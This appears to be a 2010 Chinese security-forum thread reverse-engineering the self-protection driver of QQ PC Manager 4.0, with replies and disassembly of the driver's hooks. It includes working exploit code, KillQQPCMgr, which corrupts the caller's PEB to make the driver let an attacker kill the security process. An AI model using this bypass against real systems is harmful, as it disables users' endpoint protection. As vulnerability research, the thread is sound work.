首页
社区
课程
招聘
[原创]QQ电脑管家4.0,自我保护里一个很挫的地方
发表于: 2010-8-24 23:34 13577

[原创]QQ电脑管家4.0,自我保护里一个很挫的地方

2010-8-24 23:34
13577
今天装了个QQ电脑管家4.0,看了看它的自我保护。用XueTr查看发现它的驱动TSKSP.sys对NtTerminateProcess进行了SSDT Hook。

于是逆向TSKSP.sys,把里面的FakeNtTerminateProcess抓出来看了看,发现TX做事情相当的纠结啊!

FakeNtTerminateProcess一开始先调用IoGetCurrentProcess()和PsGetCurrentProcessId()获得当前进程(即调用NtTerminateProcess的进程)的eproc和pid。

由于FakeNtTerminateProcess的参数中有目标进程的handle,于是它接下来通过ObReferenceObjectByHandle()由handle获得了目标进程的eproc。

接着通过对比当前进程的eproc和目标进程(即被terminate的进程)的eproc是否相等,来确定是不是自己结束自己,如果是就放行了。

如果不是自己结束自己,它又通过ObOpenObjectByPointer()将目标进程的eproc转换回参数里本来就有的handle(开始纠结了),然后通过ZwQueryInformationProcess()函数由handle获取目标进程的pid。这下他就有了当前进程和目标进程的pid,接下来他用当前进程和目标进程的pid分别取出这两个进程的名字。取法相当不给力:
先通过PsLookupProcessByProcessId()由pid取得很早以前就已经取得了的eproc(纠结……),然后通过ObOpenObjectByPointer()由eproc再一次取得handle(继续纠结……),接下来通过ZwQueryInformationProcess()由handle取得PEB,然后在PEB里找进程名:peb-->ProcessParameters-->ImagePathName。
最后最纠结的地方是,如果发生了异常,就直接放行……要知道PEB是在用户空间里的呀,要让它异常太容易了……

先看看它是怎么取peb-->ProcessParameters-->ImagePathName的:

push	[ebp+proc]
call	ds:KeAttachProcess	; 	attach上去,为了读peb
mov	[ebp+bIsAttached], 1

push	1			; Alignment
push	1D8h			; Length
mov	esi, [ebp+dwPeb]
push	esi			; Address
mov	edi, ds:ProbeForRead
call	edi ; ProbeForRead		; probe 一下 peb

mov	esi, [esi+10h]
mov	[ebp+var_3C], esi
push	1			; Alignment
push	90h			; Length
push	esi			; Address
call	edi 			; ProbeForRead, probe 一下 peb-->ProcessParameters,这里我们就可以xx……
……				; 略


漏洞利用代码:
int KillQQPCMgr(int pid) {
	// by Fypher

	HANDLE hProc;
	DWORD dwProcParam;
	int ret = 0;

	// xxx peb->ProcessParameters
	__asm {
		pushad
		mov eax, fs:[0x30]
		add eax, 0x10
		mov ecx, [eax]
		mov dwProcParam, ecx
		mov dword ptr [eax], 0xFFFFFFFF
		popad
	}

	hProc = OpenProcess(PROCESS_TERMINATE, FALSE, pid);
	if (hProc == NULL) {
		ret = -1;
	}
	else if (!TerminateProcess(hProc, 0)) {
		ret = -2;
	}
	
	// restore peb->ProcessParameters
	__asm {
		pushad
		mov eax, fs:[0x30]
		add eax, 0x10;
		mov ecx, dwProcParam
		mov dword ptr [eax], ecx
		popad
	}

	return ret;
}

[课程]Linux pwn 探索篇!

收藏
免费 7
支持
分享
最新回复 (21)
雪    币: 412
活跃值: (30)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
2
LZ 我为你感到纠结。
2010-8-25 01:03
0
雪    币: 300
活跃值: (179)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
3
先废自己的PEB的路径,再结束他。
很明显TX是来寻大家伙开心的。
谁反谁开心~~~~
2010-8-25 09:09
0
雪    币: 7992
活跃值: (2566)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
4
的确纠结..

处理函数写的有点太高深了..很难理解.
2010-8-25 09:26
0
雪    币: 356
活跃值: (38)
能力值: ( LV9,RANK:220 )
在线值:
发帖
回帖
粉丝
5
它又通过ObOpenObjectByPointer()将目标进程的eproc转换回参数里本来就有的handle

这应该是为了防止stack-switch攻击
2010-8-25 09:45
0
雪    币: 334
活跃值: (212)
能力值: ( LV2,RANK:150 )
在线值:
发帖
回帖
粉丝
6
TSKSP.sys 这个驱动确实写得不太好.. 与360驱动相比的话..
2010-8-25 11:47
0
雪    币: 622
活跃值: (65)
能力值: ( LV13,RANK:290 )
在线值:
发帖
回帖
粉丝
7
曾经对各厂商的驱动做过研究,相比较而言,我认为这个驱动写的还是很好的。
对漏洞的修补也很迅速,单就这点而言,有些其他的同类公司差的还真不是一点两点。
2010-8-25 13:42
0
雪    币: 492
活跃值: (53)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
8
学习一下~~~
2010-8-25 15:09
0
雪    币: 53
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
估计是那程序员晚上没睡好,逻辑混乱
我有时也会这样,本来几步就可以完成的操作,非要绕来绕去
2010-8-25 16:06
0
雪    币: 517
活跃值: (84)
能力值: ( LV12,RANK:250 )
在线值:
发帖
回帖
粉丝
10
如果这样的话,TX的驱动估计不久就把这个补上喽。楼主不但害得后来者无法快乐地玩转这个驱动,还害得写这个驱动的兄弟被扣工资啦。哈哈
2010-8-25 16:48
0
雪    币: 776
活跃值: (13)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
看了好一阵子了 愣是没看明白啊 接着研究啊
2010-8-25 16:57
0
雪    币: 13
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
做个标记啦
以后仔细看看啦
暂时不做评论
2010-8-25 17:18
0
雪    币: 109
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
原来如此啊.
2010-8-27 10:04
0
雪    币: 4
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
QQ电脑管家 并不是360一样的流氓杀软 为什么一定要写非常强的驱动来保护自己呢?
2010-8-27 14:23
0
雪    币: 636
活跃值: (174)
能力值: ( LV9,RANK:260 )
在线值:
发帖
回帖
粉丝
15
据老V说,腾讯每个功能都是独立的代码宏或者inline function,所以看起来纠结的要命……
2010-8-27 14:51
0
雪    币: 636
活跃值: (174)
能力值: ( LV9,RANK:260 )
在线值:
发帖
回帖
粉丝
16
关键是它的自我保护驱动既然在ring0里,结果取进程路径居然跑到ring3的地址空间去取,实在让人手痒想搞它……
2010-8-27 14:54
0
雪    币: 34
活跃值: (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
17
记得它某个版本的ProbeForRead

:
xxxx xxxfakefunc(xxxx, PUNICODE_STRING ustr)
{
    __try
    {
        ProbeForRead(ustr.Buffer, 2, 2);
    }
    __except(EXCEPTION_EXECUTE_HANDLER)
    {
        // .....
    }
    // ......
}
这叫做奔放~
2010-8-27 19:19
0
雪    币: 375
活跃值: (12)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
18
确实很奔放。
2010-8-27 19:26
0
雪    币: 412
活跃值: (30)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
19
这能编译通过么
2010-8-27 22:05
0
雪    币: 34
活跃值: (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
20
.text:000132C0 ; void __stdcall FakeNtSetValuekey(HANDLE Handle, PUNICODE_STRING ValueName, int a3, int a4, int a5, int a6)
.text:000132C0 FakeNtSetValuekey proc near             ; DATA XREF: .data:000160A4o
.text:000132C0
.text:000132C0 var_44          = dword ptr -44h
.text:000132C0 ResultLength    = dword ptr -40h
.text:000132C0 var_3C          = dword ptr -3Ch
.text:000132C0 var_38          = dword ptr -38h
.text:000132C0 var_34          = dword ptr -34h
.text:000132C0 var_30          = dword ptr -30h
.text:000132C0 var_2C          = dword ptr -2Ch
.text:000132C0 var_28          = dword ptr -28h
.text:000132C0 var_24          = dword ptr -24h
.text:000132C0 var_20          = dword ptr -20h
.text:000132C0 var_1C          = dword ptr -1Ch
.text:000132C0 ms_exc          = CPPEH_RECORD ptr -18h
.text:000132C0 Handle          = dword ptr  8
.text:000132C0 ValueName       = dword ptr  0Ch
.text:000132C0
.text:000132C0                 push    34h
.text:000132C2                 push    offset stru_15D20
.text:000132C7                 call    __SEH_prolog
.text:000132CC                 mov     [ebp+var_20], 0C0000022h
.text:000132D3                 xor     ebx, ebx
.text:000132D5                 mov     [ebp+var_28], ebx
.text:000132D8                 mov     [ebp+var_34], ebx
.text:000132DB                 mov     [ebp+var_24], ebx
.text:000132DE                 mov     [ebp+var_30], ebx
.text:000132E1                 mov     [ebp+var_38], ebx
.text:000132E4                 mov     [ebp+var_1C], ebx
.text:000132E7                 mov     [ebp+var_2C], ebx
.text:000132EA                 mov     [ebp+ResultLength], ebx
.text:000132ED                 mov     [ebp+var_3C], 5
.text:000132F4                 push    4
.text:000132F6                 call    sub_1225C
.text:000132FB                 mov     [ebp+var_44], eax
.text:000132FE                 call    ds:KeGetCurrentIrql
.text:00013304                 test    al, al
.text:00013306                 jnz     loc_13487
.text:0001330C                 call    ds:KeGetPreviousMode
.text:00013312                 cmp     al, bl
.text:00013314                 jz      loc_13487
.text:0001331A                 call    PsGetCurrentThreadId
.text:0001331F                 mov     [ebp+var_34], eax
.text:00013322                 call    PsGetCurrentProcessId
.text:00013327                 cmp     eax, dword_1A1BC
.text:0001332D                 jz      loc_13487
.text:00013333                 mov     [ebp+ms_exc.disabled], ebx
.text:00013336                 push    1               ; Alignment
.text:00013338                 push    8               ; Length
.text:0001333A                 mov     edi, [ebp+ValueName]
.text:0001333D                 push    edi             ; Address
.text:0001333E                 mov     esi, ds:ProbeForRead
.text:00013344                 call    esi ; ProbeForRead
.text:00013346                 push    2               ; Alignment
.text:00013348                 push    2               ; Length
.text:0001334A                 push    dword ptr [edi+4] ; Address

.text:0001334D                 call    esi ; ProbeForRead

bin证明,是可以通过编译的.
原来我以为他要读Length,只是写错而已,结果他接下来一个memcpy....
上传的附件:
2010-8-27 22:29
0
雪    币: 412
活跃值: (30)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
21
我的意思是ustr.Buffer。。。
估计是你笔误了。。
2010-8-28 01:24
0
雪    币: 34
活跃值: (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
22
呵呵,我也奔放了...

ProbeForRead(ustr->Buffer, 2, 2);
2010-8-28 11:03
0
游客
登录 | 注册 方可回帖
返回
//